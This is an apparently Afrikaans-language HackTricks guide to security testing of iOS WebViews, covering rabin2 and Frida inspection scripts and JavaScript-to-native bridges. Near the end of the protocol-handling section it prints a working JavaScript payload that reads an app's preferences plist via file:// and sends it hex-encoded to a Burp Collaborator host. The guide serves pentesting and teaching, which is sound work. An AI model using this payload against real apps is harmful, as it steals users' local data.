iOS WebViews

Ondersteun HackTricks

Die kode van hierdie bladsy is onttrek van hier. Kyk na die bladsy vir verdere besonderhede.

WebViews tipes

WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Verskeie tipes WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-toepassings. Hier is 'n kort oorsig:

  • UIWebView, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om JavaScript te deaktiveer, wat dit vatbaar maak vir skripinplanting en Cross-Site Scripting (XSS) aanvalle.

  • WKWebView is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. JavaScript is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript vensters outomaties oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer WKWebView's argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed.

  • SFSafariViewController bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknope, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as WKWebView, kan JavaScript nie in SFSafariViewController gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Konfigurasie Verkenning Samevatting

Statiese Analise Oorsig

In die proses om WebViews konfigurasies te ondersoek, word twee primêre tipes gefokus: UIWebView en WKWebView. Om hierdie WebViews binne 'n binêre te identifiseer, word opdragte gebruik om spesifieke klasverwysings en inisialisasiemetodes te soek.

  • UIWebView Identifikasie

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Hierdie opdrag help om voorbeelde van UIWebView te vind deur te soek na teksstringe wat daarmee verband hou in die binêre.

  • WKWebView Identifikasie

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Net so, vir WKWebView, soek hierdie opdrag die binêre vir teksstringe wat aandui dat dit gebruik word.

Verder, om te vind hoe 'n WKWebView geïnitialiseer word, word die volgende opdrag uitgevoer, wat teiken die metode-handtekening wat verband hou met sy inisialisering:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript Konfigurasie Verifikasie

Vir WKWebView word dit beklemtoon dat dit 'n beste praktyk is om JavaScript te deaktiveer tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die javaScriptEnabled eienskap op false gestel is, wat verseker dat JavaScript gedeaktiveer is:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Slegs Veilige Inhoud Verifikasie

WKWebView bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met UIWebView. Dit word nagegaan met die hasOnlySecureContent eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die gecompileerde binêre word soos volg uitgevoer:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dinamiese Analise Inligting

Dinamiese analise behels die inspeksie van die heap vir WebView instansies en hul eienskappe. 'n Skrip genaamd webviews_inspector.js word vir hierdie doel gebruik, wat fokus op UIWebView, WKWebView, en SFSafariViewController instansies. Dit log inligting oor gevonde instansies, insluitend URL's en instellings rakende JavaScript en veilige inhoud.

Heap-inspeksie kan uitgevoer word met behulp van ObjC.choose() om WebView instansies te identifiseer en javaScriptEnabled en hasonlysecurecontent eienskappe te kontroleer.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Die skrif word uitgevoer met:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Belangrike Uitslae:

  • Instansies van WebViews word suksesvol geleë en ondersoek.

  • JavaScript-aktivering en veilige inhoudinstellings word geverifieer.

Hierdie opsomming sluit die kritieke stappe en opdragte in wat betrokke is by die analise van WebView-konfigurasies deur middel van statiese en dinamiese benaderings, met fokus op sekuriteitskenmerke soos JavaScript-aktivering en gemengde inhoudsdeteksie.

WebView Protokol Hantering

Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos http(s)://, file://, en tel:// gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of -pad beïnvloed en die inhoud self redigeer.

WebViews bied verskillende metodes vir inhoudlaai. Vir UIWebView, wat nou verouderd is, word metodes soos loadHTMLString:baseURL: en loadData:MIMEType:textEncodingName:baseURL: gebruik. WKWebView, aan die ander kant, gebruik loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, en loadRequest: vir webinhoud. Metodes soos pathForResource:ofType:, URLForResource:withExtension:, en init(contentsOf:encoding:) word tipies gebruik om plaaslike lêers te laai. Die metode loadFileURL:allowingReadAccessToURL: is veral noemenswaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat potensieel sensitiewe data kan blootstel as 'n gids gespesifiseer word.

Om hierdie metodes in die bronnekode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Betreffende lêertoegang laat UIWebView dit universeel toe, terwyl WKWebView allowFileAccessFromFileURLs en allowUniversalAccessFromFileURLs instellings bekendstel om toegang vanaf lêer-URL's te bestuur, met albei wat standaard op vals is.

'n Frida-skripvoorbeeld word verskaf om WKWebView konfigurasies vir sekuriteitsinstellings te inspekteer:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Laastens demonstreer 'n voorbeeld van 'n JavaScript payload wat daarop gemik is om plaaslike lêers te exfiltreer, die potensiële sekuriteitsrisiko wat verband hou met onvanpaste geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

Vanaf iOS 7 het Apple API's verskaf vir kommunikasie tussen JavaScript in 'n WebView en native Swift of Objective-C objek. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes:

  • JSContext: 'n JavaScript-funksie word outomaties geskep wanneer 'n Swift of Objective-C blok aan 'n identifiseerder binne 'n JSContext gekoppel word. Dit stel naatlose integrasie en kommunikasie tussen JavaScript en native kode moontlik.

  • JSExport Protocol: Deur die JSExport protokol te erf, kan native eienskappe, instansiemetodes en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge wat in die JavaScript-omgewing gemaak word, word in die native omgewing weerspieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie.

Accessing JSContext in Objective-C

In Objective-C kan die JSContext vir 'n UIWebView met die volgende lyn kode verkry word:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Kommunikasie met WKWebView

Vir WKWebView is direkte toegang tot JSContext nie beskikbaar nie. In plaas daarvan word boodskap oordrag gebruik deur die postMessage funksie, wat JavaScript aan inheemse kommunikasie moontlik maak. Hanteerders vir hierdie boodskappe word soos volg opgestel, wat JavaScript in staat stel om veilig met die inheemse toepassing te kommunikeer:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaksie en Toetsing

JavaScript kan met die inheemse laag kommunikeer deur 'n skrip boodskaphandler te definieer. Dit stel operasies in staat soos om inheemse funksies vanaf 'n webblad aan te roep:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Om die resultaat van 'n inheemse funksie-oproep te vang en te manipuleer, kan 'n mens die terugroep funksie binne die HTML oorskry:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Die inheemse kant hanteer die JavaScript-oproep soos getoon in die JavaScriptBridgeMessageHandler klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk en teruggestuur word na JavaScript vir vertoning of verdere manipulasie:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial gebaseer op die een van https://blog.vuplex.com/debugging-webviews)

Om webinhoud binne iOS webviews effektief te debugeer, is 'n spesifieke opstelling wat Safari se ontwikkelaarshulpmiddels insluit, nodig omdat boodskappe wat na console.log() gestuur word, nie in Xcode-logs vertoon word nie. Hier is 'n vereenvoudigde gids, wat sleutelstappe en vereistes beklemtoon:

  • Voorbereiding op iOS-toestel: Die Safari Web Inspector moet geaktiveer word op jou iOS-toestel. Dit word gedoen deur na Instellings > Safari > Gevorderd te gaan, en die Web Inspector in te skakel.

  • Voorbereiding op macOS-toestel: Op jou macOS-ontwikkelingsmasjien moet jy ontwikkelaarshulpmiddels binne Safari inskakel. Begin Safari, toegang Safari > Voorkeure > Gevorderd, en kies die opsie om Ontwikkel-menu te wys.

  • Verbinden en Debugeer: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webview te kies wat jy wil debugeer. Navigeer na Ontwikkel in Safari se menubalk, beweeg oor die naam van jou iOS-toestel om 'n lys van webview-instanties te sien, en kies die instantie wat jy wil inspekteer. 'n Nuwe Safari Web Inspector-venster sal hiervoor oopmaak.

Wees egter bewus van die beperkings:

  • Debugeer met hierdie metode vereis 'n macOS-toestel aangesien dit op Safari staatmaak.

  • Slegs webviews in toepassings wat op jou toestel deur Xcode gelaai is, is geskik vir debuggings. Webviews in toepassings wat via die App Store of Apple Configurator geïnstalleer is, kan nie op hierdie manier gedebugeer word nie.

References

Support HackTricks

Last updated